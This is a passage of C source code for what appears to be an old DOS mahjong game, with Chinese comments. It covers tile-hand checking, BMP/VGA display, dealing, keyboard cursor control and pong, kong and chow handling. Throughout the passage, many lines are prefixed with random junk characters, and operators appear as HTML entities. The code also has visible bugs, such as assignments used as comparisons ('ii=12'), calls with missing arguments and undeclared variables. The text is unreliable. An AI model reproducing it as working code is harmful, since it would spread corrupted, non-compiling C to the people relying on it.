# G" L) ^) N6 B" Y* O- O$ p& h{if(kl==i)
+ A# X6 @% O4 T# X2 F: k* X; H$ }{
. u4 T7 |% A) Q  G; O8 Tkl=kl+2;
$ r- m+ I, C% x, Oif(kl==8)
break;
9 b2 ]" [& R8 }5 {/ u}
test[ill++]=pi[kl];
}
$ d7 [# }9 S9 t  w) F2 cisthree(test,ii-2);
}
}
( j1 X! a6 \7 `( t- N" Z' ^8 U9 aelse if(ii==9)
isthree(pi,ii);
else if(ii==11)
for(i=0;i&lt;10;i++)
) P/ @9 a9 ?6 a, [* o3 S- n{
for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
}
if(istwo(test))
{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
* |# q$ B; H4 O5 k{if(kl==i)
+ ]0 P* f( }* [# I{
% E3 F# S  R  rkl=kl+2;
& |1 p3 d4 @. |/ zif(kl==11)
break;
}
test[ill++]=pi[kl];
}
isthree(test,ii-2);
}
8 j9 s: T' P- g& _}
else if(ii=12)
8 o' m( k& b- M& yisthree(pi,ii);
else if(ii=14)
for(i=0;i&lt;13;i++)
) e; O6 H$ c5 t7 n5 |{
for(j=0;j&lt;2;j++)
{test[j]=pi[i+j];
: L; b- l8 p/ u! T$ I. j}
if(istwo(test))
{ ill=0;
% v# v! Y' A& rfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
  e3 a8 j# E. @; C6 b9 O{
kl=kl+2;
* \8 i' k. \% S% {2 h. Rif(kl==14)
break;
9 I3 X' V! ]! l1 j& c}
0 R4 a1 C5 H6 Ytest[ill++]=pi[kl];
* h, }. l3 ~1 O8 h}
  J) V1 Q& J3 n  b# _. }4 Nisthree(test,ii-2);
}
$ C( v/ v. I$ w! a8 |8 x) z% x}
if(ff==2)
istwo(pf);
) W! k5 A: i7 N) ]( q% I9 {0 Telse if(ff==3)
isthree(pf,ff);
else if(ff==5)
: F( P& |! T+ L* \/*pf[5]原始牌数组，假设已经升序排列*/
% ~" d, d4 H, u3 ]/*test[3]用来放置测试牌的数组*/
- f0 q) ]# j1 _for(i=0;i&lt;4;i++)
- k* y; d& P8 a{
for(j=0;j&lt;2;j++)
% M5 ?! t: S' v' e% Y9 i{test[j]=pf[i+j];
& l4 x/ v, V( f) g  ^}
$ F2 ~2 K) Y: ^" ]+ f8 [# ?& g! H. lif(istwo(test))
& L; Y, J6 ~% q" k{ ill=0;
( S2 k7 F$ d: p- `for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
{if(kl==i)
{
+ k! v' E" }9 N+ Y4 rkl=kl+2;
! t: q2 z; a) O: nif(kl==5)
break;
}
test[ill++]=pf[kl];
- @  ?* C: l8 h  C2 g1 ]" K}
/ c1 |4 k6 e; c& Risthree(test);
, t( E' ^" D( b7 Q4 X+ s' x9 |}
# ?8 h5 j* f, z0 L: r( Y}
  A3 P5 _' h9 Y' r8 gelse if(ff==6)
isthree(pf,ff);
else if(ff==8)
for(i=0;i&lt;7;i++)
, I; F- w- C- ^" I{
for(j=0;j&lt;2;j++)
8 S" i$ F0 m7 g{test[j]=pf[i+j];
}
! _. F% o, R& kif(istwo(test))
{ ill=0;
+ B& N+ V' `* R# u: f; ]! O0 Pfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
{if(kl==i)
{
% E  D! u, r. v. w" skl=kl+2;
if(kl==8)
break;
}
test[ill++]=pf[kl];
}
/ U  y  a" a0 n; V$ h' p4 ]isthree(test,ff-2);
}
3 h" Y3 B  g6 v7 t$ C! d# m* O( M! o}
' V+ @8 K) `. I5 g, R8 S9 e/ ?, Lelse if(ff==9)
5 p! @9 A+ Z2 ~! K: fisthree(pw,ww);
2 S. V' l5 N7 ?6 Zelse if(ff==11)
for(i=0;i&lt;10;i++)
{
for(j=0;j&lt;2;j++)
% `* ?: j( U$ m2 R7 L0 }0 [{test[j]=pf[i+j];
0 k. j# `* E* @$ \% m- V}
8 Q) {8 A4 A9 M$ U, _6 Pif(istwo(test))
1 T! }" D- U3 j4 Q1 t& v2 B+ w' ?{ ill=0;
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
" _# q/ O! N, f3 w$ d: [$ y{if(kl==i)
; L3 q( A8 B% d1 z4 ^$ w{
kl=kl+2;
if(kl==11)
2 R5 l5 T9 P+ d9 Abreak;
}
% X3 a8 s2 p7 l# rtest[ill++]=pf[kl];
$ g4 u: H  q. m) h}
isthree(test,ff-2);
}
! B  _7 {$ ~6 ?}
% m2 [) [+ Z: p, C$ x' kelse if(ff=12)
isthree(pf,ff);
0 d( Q0 Q" ^1 f: Z* n6 Nelse if(ff=14)
4 e4 E/ V/ M8 [  u( n+ [+ kfor(i=0;i&lt;13;i++)
{
for(j=0;j&lt;2;j++)
. v2 S3 `9 g, I  y" K- \7 l4 T$ X{test[j]=pf[i+j];
( A, |+ h* Q2 [/ Y/ W0 ^- E}
if(istwo(test))
{ ill=0;
3 A, v% ~' O7 |, c; S6 {% kfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
{if(kl==i)
9 N& ~% M- \* q{
kl=kl+2;
) `4 Y& H6 a* a6 S. Z/ `5 dif(kl==14)
break;
}
3 J/ P4 e) ]& |# j8 o2 B3 `test[ill++]=pf[kl];
}
isthree(test,ff-2);
& L6 a, {+ d$ f5 M}
}
}
void main(void)
. G6 m$ v$ m0 D; f{
6 z$ N3 a; K# M1 q+ Y6 c7 dFILE *bmp;
static char *name[2]={"ff.bmp","logo.bmp"};
char *p;
7 c& U7 N1 U5 l! h2 z# g: Hint *lingshi;
, Z9 e9 ]) F" j6 Oint x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
4 v: \; R% Y5 W" Qint every=0,w=0,x1,x2,y1,y2,every1=0;
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;
BYTE palette[256][3];
: c: e9 ^% `% C9 Q: R9 }9 pSETVGA;
2 A0 P# |$ J/ Cgetch();
# v5 w3 o' b5 k1 U! fwhile(t--)
+ W5 M# G. s3 ~4 p. @6 i4 i8 ~% e/ |5 b{
bmp=fopen(name[t],"rb");
8 _' t* q1 N! z: U8 C2 y9 Pfseek(bmp,54,SEEK_SET);
for(i=0;i&lt;256;i++)
9 C2 h, t& x: w# o" V' H{
& ~, Q* w. |: F7 p/ t! }$ H8 Z# X+ Tpalette[2]=fgetc(bmp)&gt;&gt;2;
palette[1]=fgetc(bmp)&gt;&gt;2;
) X# K  Y9 o( wpalette[0]=fgetc(bmp)&gt;&gt;2;
fgetc(bmp);
7 T: @# i, M1 {$ @1 V$ u0 ISet_Palette(i,palette[0],palette[1],palette[2]);
}
" [4 |8 n" a9 j, [$ {5 ifor (y=0;y&lt;200;y++)
for(x=0;x&lt;320;x++)
pokeb(0xa000,y*320+x,fgetc(bmp));
2 g! z4 P/ a- xfclose(bmp);
getch();
}
7 f' Z- d1 ]$ ?9 m9 J$ agetch();
fillRectangle(0,0,320,200,0);
getch();
2 `- `' j( Y) c" s5 m. A8 r% {randomize();
: `$ S- r; r* j  C. N6 zme.m=onetothirteen;
while(me.m&gt;0) /*先循环，给自己拿牌*/
{
' `  |2 I. U$ r5 k
. t! c, \. ^* f+ G2 f6 a$ N* P- Otemp=random(136);
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
1 P$ m# B% O! O/ |{
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
me.pp[n].number=temp; /*第几张，用来排序*/
) L/ ?) b' L9 B" c* }m[temp].data2=1; /*判断牌是谁的*/
kk=1;
+ n9 q$ h8 J6 l9 [  y' c}
if(kk==0) /*判断如果又选择了，就从新再选*/
7 |! H' m, m4 c0 J9 j{
me.m++;
n--;
}
5 Y& r: p3 k- V- U9 {9 E/ w; Xme.m--;
n++;
kk=0;
) K; E5 d7 Z3 _; E2 ~1 [* B}
6 v, z' g* U5 @, @1 q1 K/ vme.m=12;
. e# k! Y- M3 j0 X; Gmelipai(); /*理牌*/

n=13;
while(l&lt;n)
/ N% x# I. D9 t/ F, ~4 x{
' [; `% K/ {! o) A( t/ @z=z+20;
& T0 X( a; M" v! B" Y5 x6 ~" V( I( d8 e: xshowbmp(l);
l++;
1 D+ d; D; }" {
}
randomize();
computer.m=oneorthirteen;
n=0;
5 |. h" n/ Y! R/ l. twhile(computer.m&gt;0) /*循环，给对方拿牌*/
{
/ q* [& d2 L  {. N- qtemp=random(136);
' F/ x- a8 a  k3 A' Eif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
{
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
# H, F: p1 x' P$ x* Mcomputer.pp[n].number=temp; /*第几张，用来排序*/
m[temp].data2=2; /*判断牌是谁的，2为电脑*/
% r7 G" \+ g3 `  y2 p  ikk=1;
}
) h% Y: ?3 N" I6 G8 X& X* o( e4 fif(kk==0) /*判断如果又选择了，就从新再选*/
7 V, ^  Q$ Z: v4 S! B. }{
computer.m++;
1 P" B: J5 a. s/ ~/ J5 E3 n, ?9 zn--;
}
* @  C$ Y5 m: P6 {. Q/ Ccomputer.m--;
n++;
kk=0;
}
computer.m=12;
, ^# j& z8 }0 \& @# k' G) s; t) xcomlipai(); /*电脑理牌*/
  S' j, s3 P- B- k, Kn=13;
, @6 Y4 b3 U. @2 X1 D3 {6 ]' o" Lwhile(ll&lt;n)
8 @7 X2 G! A2 N: u{
0 M. M: Y6 l( t5 d! yzy=zy+20;
showybmp(ll);
ll++;
) H- V/ I. Z: Z9 ~1 `$ C; d2 {( g# w}
" o! F7 H0 V- [5 e" b7 F
z=54400;
while(key!=ESC)
{

- D3 K' K3 Y- E/ C4 v- r# t4 pkeyy=bioskey(0);
2 r$ Z+ W' P* Mif(keyy==LEFT)
/ v" ?: n1 I0 V5 G. d1 X5 _* d{ w=1;
# F3 I( C4 d2 [* y7 k9 C+ V  bif(every==0)
{
every=1;
z=54440-5*320;
% `5 O4 N" g9 X5 Z3 }. g
' z  F1 O" @% n8 Q6 w}
* ~  M# I+ m% e/ n" Xzz=zz+5*320;
9 ]4 N2 D, O/ K+ @+ sshowbmp(every);
1 h6 _- ?# F/ `) D, E6 t" bif(every==0)
2 `! l+ x" H# v# r% P- p' |{
x1=20;
4 p; o4 B; O6 W: z6 W6 ly1=165;
4 C8 h- S# i5 M5 EfillRectangle(x1,y1,x1+20,y1+4,0);
}
# l. H6 Q) m7 n9 `& }  B6 iif(every==1)
: s& a8 }! C1 S& _5 X2 H0 n{
x1=40;
# ?" ^  q3 k& \: H$ ?y1=165;
0 B' l; Q" ^7 q$ Y+ B( wfillRectangle(x1,y1,x1+20,y1+4,0);
/ O# y3 V/ S' a' C4 w' V}
/ B4 K3 }/ }0 k6 S5 Z% z! Wif(every==2)
{
x1=60;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==3)
" L) `% b# i& v4 T( P{
x1=80;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
2 b- y% Z6 n1 C+ ]if(every==4)
{
x1=100;
0 Q# P% J  t& l* V. [4 g5 wy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
* k5 \/ ~4 `, @. N/ x}
if(every==5)
{
x1=120;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
) h6 J9 F' |+ {9 R$ a. b& Z2 Lif(every==6)
{
x1=140;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==7)
{
" g# N) b+ U' ^  Mx1=160;
. U- T6 X9 o2 L" M( z/ g2 Cy1=165;
! p) v- O, ?) k$ V5 _3 H/ OfillRectangle(x1,y1,x1+20,y1+4,0);
}
/ r' D* f* R$ Vif(every==8)
# y- M/ p& S  h- d. C+ L{
x1=180;
y1=165;
* ^5 o1 G. e/ r6 Y1 z; D) I! ZfillRectangle(x1,y1,x1+20,y1+4,0);
}
5 t2 K% M/ S! Z1 m, hif(every==9)
{
x1=200;
, K7 v& B# Q* y# K+ ky1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
& R; o! y% Z7 Z  o, K% M& t+ I}
if(every==10)
& c* S, R2 X% @; w: B{
2 `& N- D+ U6 `; ?# }3 j0 ^% cx1=220;
y1=165;
* F# r/ T. t. g; E' I6 ^6 `1 CfillRectangle(x1,y1,x1+20,y1+4,0);
/ f% H3 P# A5 V! x3 \6 w% k$ D}
if(every==11)
! y% i$ u8 A$ Y0 ^# P3 z1 {) j{
: }: Z( O$ Q* y- S' ^, g4 L0 Zx1=240;
y1=165;
& S* k: u% Z, p+ z( sfillRectangle(x1,y1,x1+20,y1+4,0);
1 ~6 o3 ^' h" V2 f1 _( a}
% d4 M% _+ H% d2 ^3 |/ xif(every==12)
3 t, c) F$ K6 H" \, [' M, E9 i{
$ }  j* ^5 Z  P$ r6 A3 s' m& f+ l. sx1=260;
" i; i1 \4 j' ny1=165;
+ O) R$ R. L/ w# h! N$ p$ {* ]fillRectangle(x1,y1,x1+20,y1+4,0);
}
zz=0;
every--;
z=z-20;
# ^7 [/ Q1 W7 |5 j}
if(keyy==RIGHT)
# n4 I" s! j2 k6 S* W7 y{ if(w==0)
{
z=54440-5*320;
z=z-20;
+ p& C. y0 D# A/ Q0 tw=1;
}
if(every==12)
& c6 U' \3 p7 L# A{
every=11;
( ?9 y3 ~3 T: c2 c/ w* y8 gz=54640-5*320;
) n3 a/ J6 U- x; \  V# K$ E}
zz=zz+5*320;
1 b7 U5 t+ a, p1 F, v* Oshowbmp(every);
+ T% H- ^4 H8 J7 k* Xif(every==0)
{
5 W& V" c2 p+ e2 Sx1=20;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
9 e5 i" ~5 }/ Y' [if(every==1)
{
x1=40;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
" ~7 m$ A2 a* s& T4 A$ X9 H; ]}
if(every==2)
* c( n- H* _0 {" d{
x1=60;
' d; I8 U7 N3 V  K4 p. ?y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
6 Q, P! C& @9 ^/ g# [  K4 z' O}
' R( ]' e- `+ G' Y3 N( g/ J# aif(every==3)
{
x1=80;
6 K8 P" T2 }  d; Xy1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
, X1 K4 |* p% c$ l}
if(every==4)
. {) n# r3 n7 u+ n1 a1 s) f{
" `* Z, F$ C. }# A) Q: sx1=100;
y1=165;
" K# H3 w, {& v0 Y  afillRectangle(x1,y1,x1+20,y1+4,0);
2 C: `& F7 g/ F  x" E2 C}
if(every==5)
{
2 H3 x( S$ l# x* nx1=120;
y1=165;
( K4 I& ~- R2 V' }+ GfillRectangle(x1,y1,x1+20,y1+4,0);
}
. ]" j6 a& n: uif(every==6)
{
x1=140;
0 @! W( u( i% ^- C9 r; hy1=165;
7 e' M+ j+ ^6 vfillRectangle(x1,y1,x1+20,y1+4,0);
}
) D5 T3 R* A3 j7 S& bif(every==7)
{
x1=160;
! S& h' ]5 e, u* P1 @3 r5 o6 By1=165;
0 {2 l. c3 i0 B6 p' TfillRectangle(x1,y1,x1+20,y1+4,0);
}
% e& m- G+ P) v! z2 Q2 N  }# qif(every==8)
{
( N  C3 F# s& }x1=180;
  m) f# D5 n2 m6 V; Fy1=165;
6 k$ |. V# ]" U4 x- \( m9 M4 d4 _fillRectangle(x1,y1,x1+20,y1+4,0);
0 D  u# V. E, g, I4 F: l}
- Z$ b8 L/ ^. D7 E/ Pif(every==9)
{
x1=200;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
- h. R) n, N& d+ vif(every==10)
. L9 a/ {8 I0 f* u& F; T3 P. z{
x1=220;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
if(every==11)
{
, B4 n- t. M3 d0 q" l* ?x1=240;
y1=165;
fillRectangle(x1,y1,x1+20,y1+4,0);
}
7 o5 _& Y) ?# L; C$ ~( s* K* r0 \if(every==12)
{
3 }# ~( h3 a2 _5 M. Px1=260;
3 e6 w% G) e4 P" t# Oy1=165;
7 Y' b( ]' d2 b" e+ c5 IfillRectangle(x1,y1,x1+20,y1+4,0);
}
* L* A! f7 s& M0 O" @* v
zz=0;
2 _; q/ h' s# ^- l3 d; E  Hevery++;
z=z+20;
}
showbmp(every);
key=keyy;
if(keyy==ENTER)
0 K, S' D: U; b0 d8 `) C{
rgzn(every); /*********************/
) C- R1 `! @; _1 @if(sing==1) /*如果可以乓，做相应的处理*/
{
: N6 _0 v. v4 x7 l8 J0 ikkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
{
if(computer.pp[kkk].p!=1)
2 V' |- \# O& Q( r{
& ^# l% |& E( O& Q- ~: z" F# [comp.pp[kkkk].k=computer.pp[kkk].k;
- K, m( H: e9 tcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
! ?. j6 h: ?0 s2 q6 ?+ icomp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
else
{
4 ]* F1 [+ N# G9 D0 T* i. bm[computer.pp[kkk].number].data1=1;
dwei=computer.pp[kkk].number;
/ i  Q+ S9 {1 ^1 {, {/ Zcomputer.pp[kkk].p=0;
}
3 W; C. K' ^) f* G4 g6 ^# Vkkk++;
}
ll=0;
0 G0 J0 V8 `$ B- j; i( Y9 `' t8 s+ f; c* Q
while(ll&lt;3)
{ zl=zl+20;
. n. b+ E/ {2 r1 w  y9 }( C. _bmpp(dwei); /*显示乓的牌*/
ll++;
0 D, j$ b" ]0 Z! X5 E7 q}
. j. t& G$ J0 o0 B; k& c& `! {
% K1 r; p+ o9 j6 K: \( b8 Jzl=zl+9600-60;
6 ~! ]5 q' _# f3 l. E2 [' _5 ~kkk=0;
computer.m=computer.m-2;
while(kkk&lt;=computer.m)
{
- U" _. l0 r' A, C# S$ a5 tcomputer.pp[kkk].k=comp.pp[kkk].k;
4 ^. \1 v/ m  }- zcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
2 y" U, W2 i+ `% \  t( D2 D) j+ I8 `computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
}
ll=0;
temp=random(computer.m); /*出牌等待完善*/
+ k: e( e( q* W: g) ~- L2 Y" Wzyy=zyy+9280+20;
showcbmp(temp);
, i4 t9 U( g+ W- @: _zyy=zyy-9280;
/*****/
rgznme(temp);
panduan();
if(me.m==0)
if(second==1 &amp;&amp; threes==0)
# W% x  K7 o, H( z6 ?printf("you win!");
if(me.m==3)
if(second==1 &amp;&amp; threes==1)
  ~6 s1 h0 x# U* `- u2 K- lprintf("you win!");
/ z, u- d* |& C# \* g4 V8 |1 `if(me.m==6)
6 @5 ^/ ^0 m& s% j' w7 n1 g' V2 ~if(second==1 &amp;&amp; threes==2)
( x/ p% w% S7 K, J! Vprintf("you win!");
! W( a3 o% T) y3 F5 Wif(me.m==9)
if(second==1 &amp;&amp; threes==3)
# \) u, a) F  G" g8 nprintf("you win!");
if(me.m==12)
4 z: m( ~3 M4 S( m. {. V8 z6 Kif(second==1 &amp;&amp; threes==4)
printf("you win!");
* K9 T- ~9 p- N, o
9 U  p6 }( e# V; }1 a) B9 Skkk=0;
9 V3 h: m8 j& _0 M& o% @. p; Mkkkk=0;
4 a. B/ Y; x+ O: wwhile(kkk&lt;=computer.m)
. }# _1 Y, [$ C5 g+ J{
if(kkk!=temp)
9 x7 g2 Z3 Y  C{
comp.pp[kkkk].k=computer.pp[kkk].k;
1 [+ g) i  X% w: k" Bcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
else
m[computer.pp[kkk].number].data1=1;
3 B' }' o; O# E; t1 G9 y3 G2 qkkk++;
+ P. l5 j# K/ Q6 r+ h: ]}
kkk=0;
$ N) |3 c" K8 z/ Icomputer.m=computer.m-1;
3 n( q  b7 R' f# h- Ewhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
0 o; {: P% Q. ?/ P! t& v3 x# wcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
kkk++;
( _$ h5 `+ t; Y" m: ?& K. O+ ^- L}
fillRectangle(0,0,320,30,0);
n=computer.m;
ll=0;
zy=0;
& {  ~/ c& O8 V7 pwhile(ll&lt;=n)
{
, ~3 a. ^8 L: ?zy=zy+20;
showybmp(ll);
4 i( c+ R5 C( ]0 o$ z/ V+ oll++;
1 |5 Q  Y7 x  m, ?* }4 l}
ll=0;
) `# a  q$ f- Q! O. j1 c" j' z1 Vgetch();
; n4 f* _& @* nsing=0;
sing1=1;
}
5 D7 n2 e; r, O9 X
; Z7 Q  G, x7 \) w0 {. g! `if(sing==2) /*如果可以杠的做相应处理*/
" Z' V+ n* j+ X{
* h) O3 w4 F$ g9 v5 |kkk=0;
kkkk=0;
while(kkk&lt;=computer.m)
; i* M9 y7 e; _' I{
if(computer.pp[kkk].g!=1)
{
3 g9 d6 e" B8 s. V, {1 h- ncomp.pp[kkkk].k=computer.pp[kkk].k;
5 Z$ T/ r1 d' O, D) ucomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
. B0 X# c  S& E5 u+ ]comp.pp[kkkk].number=computer.pp[kkk].number;
kkkk++;
}
* C' i- Q) `* Z: m% M4 uelse
{
m[computer.pp[kkk].number].data1=1;
dweig=computer.pp[kkk].number;
5 m. F$ I: a( V9 w: l) G9 N+ z# dcomputer.pp[kkk].g=0;
5 e4 K7 @8 F) H* T4 L" U) N}
7 o. y1 w  p3 i& _8 J4 ]& S5 J+ ^0 kkkk++;
) H% a% K0 Z) A: F}
ll=0;

6 t; v% b+ K/ z: M1 n, n4 n) ^while(ll&lt;=3)
* T: u- @7 _% {6 y8 w% G! }+ m9 B! t{ zl=zl+20;
bmpp(dweig); /*显示杠的牌*/
ll++;
" }1 d* @! b& b2 a+ R}
zl=zl+9600-60;
' r" Z( A: t, T: q, l4 U9 q2 S# Dkkk=0;
( }& Z4 f8 _( y) u2 acomputer.m=computer.m-3;
: K4 t% n0 M& ~" `% awhile(kkk&lt;=computer.m)
2 t4 |8 t( K: U, v& Y{
9 i6 d( h% R6 v/ g4 {computer.pp[kkk].k=comp.pp[kkk].k;
1 |1 J& d! h# n2 q( ~* ]computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. e% n# {) O+ _6 O) tcomputer.pp[kkk].number=comp.pp[kkk].number;
7 e  C3 r5 O1 D+ B1 I$ ]( V. Wkkk++;
8 S1 J3 }7 g  I( g: r) ^}
kk=0;
/ l$ E+ a' f. b6 [6 Ucomputer.m++; /*加一个牌的容量*/
while(kk!=1)
{
% @* u; m# ]2 c# ~5 Htemp=random(136); /*出牌*/
( b5 r3 {2 y0 T8 H- s1 Fif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
; @4 Y+ h) S: S. j2 @; h7 r{
3 Y  Z& q5 B& F2 {+ _5 Hcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/
( G8 q  ]. U3 T, m* t) Hcomputer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
computer.pp[computer.m].number=temp; /*第几张，用来排序*/
0 y& l3 h# J% ]3 T5 Tm[temp].data2=2; /*判断牌是谁的，2为电脑*/
$ j9 g. I$ V# q- Q5 o0 \8 N8 ekk=1;
}
}
comlipai();
2 ^, _$ `( `# o, |: t4 ]temp=random(computer.m); /*出牌，等待完善*/
7 p; I+ B! ?1 o0 n* z' D& {zyy=zyy+9280+20;
showcbmp(temp);
zyy=zyy-9280;
/*****/
rgznme(temp);
panduan();
6 M9 f7 Y* K4 C! A- d, @* V9 gif(me.m==0)
if(second==1 &amp;&amp; threes==0)
9 z; M$ D  ?* S* |9 N0 Nprintf("you win!");
& ?8 ?; p- @! H: G2 Gif(me.m==3)
if(second==1 &amp;&amp; threes==1)
printf("you win!");
if(me.m==6)
if(second==1 &amp;&amp; threes==2)
" b& d' S" U/ S7 i5 Tprintf("you win!");
if(me.m==9)
4 s: `8 d- O' bif(second==1 &amp;&amp; threes==3)
printf("you win!");
if(me.m==12)
if(second==1 &amp;&amp; threes==4)
. {- t$ g1 d3 ^% y. v! h8 d3 {3 B8 _printf("you win!");

kkk=0;
kkkk=0;
1 N) d. C3 F# G% P5 B7 e/ d# F' H' ^while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
! q1 k3 j( {0 t6 l& P% n  }1 W1 u( z{
0 n- B" n5 B: C- n- d) u& Kif(kkk!=temp)
1 }0 m. M6 y, R) @5 K# s& }{
comp.pp[kkkk].k=computer.pp[kkk].k;
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
comp.pp[kkkk].number=computer.pp[kkk].number;
/ e3 F" W2 p) _; ?kkkk++;
2 ]# m% W# N9 ]/ e8 S}
else
' _7 u5 K! P/ _9 Q$ c8 mm[computer.pp[kkk].number].data1=1;
" r, T  _6 m, I1 kkkk++;
}
% S: V( x$ {: p; _5 |. d$ Ekkk=0;
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
/ U' b( v# z/ nwhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
1 Y5 h) w! C3 D5 [3 Q/ X4 F0 B" ocomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
% d4 R7 r" ~! g& icomputer.pp[kkk].number=comp.pp[kkk].number;
. ^& j) v2 H9 e: bkkk++;
}
fillRectangle(0,0,320,30,0);
* J- v: w$ y7 b6 T3 Z" ?ll=0;
zy=0;
- l7 y+ K5 N8 ]while(ll&lt;=computer.m)
{
+ Z$ e  ~. ]6 m; d0 x+ ]zy=zy+20;
showybmp(ll);
$ n0 X/ r( G2 }. Q2 \; Ill++;
: e/ y  i5 P$ Y6 v6 A. a1 E5 o}
sing=0;
; e$ {/ p! l" D, Rsing1=1;
}
if(sing==7) /*如果可以吃的，做相应处理*/
( z( a  ?& Q5 @: ^4 K, I% u- T$ h% s0 G{ nn=0;
kkk=0;
$ z5 j* R0 y4 o" Z$ _. mkkkk=0;
while(kkk&lt;=computer.m)
5 d3 |7 b, z/ x& x! q8 D7 o{
) u- p4 E. q0 X5 Nif(computer.pp[kkk].c!=1)
( e" D' C9 s4 {, F3 {5 g' U. p{
comp.pp[kkkk].k=computer.pp[kkk].k;
' C0 H* ?# t. h  K: S0 fcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
0 r4 J5 v8 O  s/ Q! Z+ V* Zcomp.pp[kkkk].number=computer.pp[kkk].number;
# u8 H/ E/ T& f9 f" a9 Ykkkk++;
}
3 V. T( f$ c" w9 ]7 I0 H2 |7 A( f7 pelse
! p# d" y# v* A+ Z, v7 m' `{
0 H! a6 a9 j$ d4 d/ A- b% H! Sm[computer.pp[kkk].number].data1=1;
dw[nn++]=computer.pp[kkk].number;
computer.pp[kkk].c=0;
+ {# k+ q1 u! {  `' y# r0 w4 t4 k, O}
kkk++;
/ j4 k. j$ q+ F. ]}
3 q  |# P$ Y9 I" [- q0 r+ Z; y
if(me.pp[every].number&lt;dw[0])
{
6 A5 i2 j1 v; M" P7 @, }dw[2]=dw[1];
8 ~7 x( d$ {" |3 |" x- |$ \3 m. H4 @dw[1]=dw[0];
2 L" L! ~% u, ?dw[0]=me.pp[every].number;
}
if(me.pp[every].number&gt;dw[1])
/ @" }. n7 u. R{
* _' {  s3 m. j+ \" h$ j- ~dw[2]=me.pp[every].number;
}
7 `" K  _! b' J) l7 }$ Oif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
5 R4 Y% r, U* T% \{
dw[2]=dw[1];
! A: N+ |0 J; G% ^8 rdw[1]=me.pp[every].number;
9 o3 C* E4 ~/ K1 L2 F8 F" O}
; e; u8 j  j3 b- Lnn=0;
while(nn&lt;3)
{ zl=zl+20;
bmpp(dw[nn]); /*显示吃的牌*/
# h3 L' F" Z4 X9 \. ]nn++;
4 T8 x2 A6 G& ~- j- c. d5 |- l3 k}
$ d. Z' W# h) ^' T6 E. {0 k9 K5 ?$ kzl=zl+9600-60;
kkk=0;
( |4 X  M! l( a! |3 H! Gcomputer.m=computer.m-2;
4 p& ]- l6 d" x1 U7 ewhile(kkk&lt;=computer.m)
{
computer.pp[kkk].k=comp.pp[kkk].k;
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
computer.pp[kkk].number=comp.pp[kkk].number;
' }9 [2 Q( t" nkkk++;
}
ll=0;
( z( T; Z9 {/ Q: Y4 W4 D: [: I7 Vtemp=random(computer.m); /*出牌等待完善*/
zyy=zyy+9280+20;
showcbmp(temp);
. N5 G, ~/ ]9 s9 v' x" Tzyy=zyy-9280;
( F$ Y9 d; |0 }* \8 V/*****/
5 M4 E$ W2 r  I3 Grgznme(temp);
! `& P7 l' l! G0 Qpanduan();
if(me.m==0)
0 E6 ?2 y- [: o8 t8 J* jif(second==1 &amp;&amp; threes==0)
" ?* m6 Q( @- d* iprintf("you win!");
if(me.m==3)
if(second==1 &amp;&amp; threes==1)
( }' t0 o5 n5 Z- U& u6 b2 j  Hprintf("you win!");
7 s, @6 q+ E2 y9 Y4 v  l5 D& K% Aif(me.m==6)
- }1 }  l% y4 f, m3 F$ Wif(second==1 &amp;&amp; threes==2)
printf("you win!");
" a2 Z; a0 d: z, _  H/ }4 S' Lif(me.m==9)
